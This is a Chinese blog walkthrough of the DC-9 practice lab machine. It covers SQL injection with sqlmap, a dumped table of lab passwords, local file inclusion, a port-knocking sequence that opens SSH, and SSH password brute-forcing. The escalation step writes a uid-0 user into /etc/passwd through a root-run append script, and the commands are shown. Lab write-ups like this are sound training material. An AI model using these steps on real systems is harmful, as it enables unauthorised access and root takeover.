DC9靶机渗透

前言

DC系列最后一个靶机,还是延续着之前的传统,中规中矩,却不失新意。正如作者所言

all things must come to an end

所有事情最终都会来到终点,但人生还要继续,带着美好回忆迎接下一次挑战。😃

知识点

  1. knockd服务
  2. /etc/passwd文件提权

详细过程

信息搜集

  1. 端口扫描,22端口阻塞

  2. 目录扫描

  3. 浏览网站很容易发现search页面存在sql注入

  4. sqlmap注入成功,具体不再演示,拿到数据如下。

    Table: UserDetails
    [17 entries]
    +-----------+------------+---------------+
    | firstname | lastname   | password      |
    +-----------+------------+---------------+
    | Mary      | Moe        | 3kfs86sfd     |
    | Julie     | Dooley     | 468sfdfsd2    |
    | Fred      | Flintstone | 4sfd87sfd1    |
    | Barney    | Rubble     | RocksOff      |
    | Tom       | Cat        | TC&TheBoyz    |
    | Jerry     | Mouse      | B8m#48sd      |
    | Wilma     | Flintstone | Pebbles       |
    | Betty     | Rubble     | BamBam01      |
    | Chandler  | Bing       | UrAG0D!       |
    | Joey      | Tribbiani  | Passw0rd      |
    | Rachel    | Green      | yN72#dsd      |
    | Ross      | Geller     | ILoveRachel   |
    | Monica    | Geller     | 3248dsds7s    |
    | Phoebe    | Buffay     | smellycats    |
    | Scooter   | McScoots   | YR3BVxxxw87   |
    | Donald    | Trump      | Ilovepeepee   |
    | Scott     | Morrison   | Hawaii-Five-0 |
    +-----------+------------+---------------+
    

    还有一个管理员

    admin:transorbital1(使用sqlmap默认字典爆破)

  5. 登陆管理员后只有添加记录的功能,本来想要使用闭合dom树的方式来解析php,但输入有长度限制,放弃。登陆管理员后看到页脚爆file not found错误。猜测存在LFI。

  6. 验证LFI,很幸运file参数直接猜到。

  7. 但LFI不能getshell。接下来的思路应该是fuzz一些系统文件。这里如果有一个强大的字典,应该能够发现/etc/knockd.conf

    这个knockd.conf是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中。

    简单来说就是用来隐藏ssh登陆端口。(也就是我们之前扫描端口时发现22端口阻塞)只有我们按照设定的顺序敲击端口,防火墙才会打开登陆端口。再按照同样的方式可以使防火墙关闭ssh登陆端口,如果别人不知道我们设定的端口敲击顺序,是无法登陆ssh的。我们可以下载knock来开启远程端口,也可以直接用nc敲击端口。

  8. 按顺序敲击7469,8475,9842,22端口开启

getshell

  1. 之后可以用hydra,或者msf结合/etc/passwd文件之前从数据库内拿到的密码撞库ssh。这里我拿到janitor用户ssh密码。登陆后发现密码文件

  2. 使用msf爆破。最终一共拿到四个账户。

提权

  1. 下载提权辅助脚本。在fredf用户运行后发现可疑文件。运行后提示应该使用python写的。

  2. 通过find找到源码

    #!/usr/bin/python
    
    import sys
    
    if len (sys.argv) != 3 :
        print ("Usage: python test.py read append")
        sys.exit (1)
    
    else :
        f = open(sys.argv[1], "r")
        output = (f.read())
    
        f = open(sys.argv[2], "a")
        f.write(output)
        f.close()
    
    
  3. 很明显了,我们通过这个程序可以以root权限合并文件内容。那么如何提权?将用户写入/etc/passwd啊,首先生成密码

    $ perl -le 'print crypt("123456","salt")'
    sahL5d5V.UWtI
    $ echo "srat1999:sahL5d5V.UWtI:0:0:User_like_root:/root:/bin/bash" >> /tmp/passwd
    # 用户名:密码hash:uid:gid:说明:家目录:登陆后使用的shell
    $ sudo ./test /tmp/passwd /etc/passwd
    
  4. 最后

©️2020 CSDN 皮肤主题: 岁月 设计师:pinMode 返回首页